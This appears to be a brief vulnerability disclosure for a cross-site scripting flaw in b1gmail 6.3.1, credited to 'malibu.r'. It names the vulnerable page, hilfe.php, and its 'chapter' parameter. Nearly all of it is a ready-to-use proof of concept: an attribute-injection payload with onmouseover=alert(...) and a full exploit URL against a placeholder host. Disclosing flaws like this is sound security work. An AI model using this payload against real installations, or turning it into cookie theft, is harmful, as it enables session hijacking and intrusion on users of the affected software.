b1gmail Cross Site Scripting

Version: 6.3.1
site: http://www.b1gmail.de

Profile: Cross Site Scripting
Method: POST
location:hilfe.php
strings: "+onmouseover=alert(1898233298)+

http://site.com/hilfe.php?chapter="+onmouseover=alert(1898233298)+

credit`s: malibu.r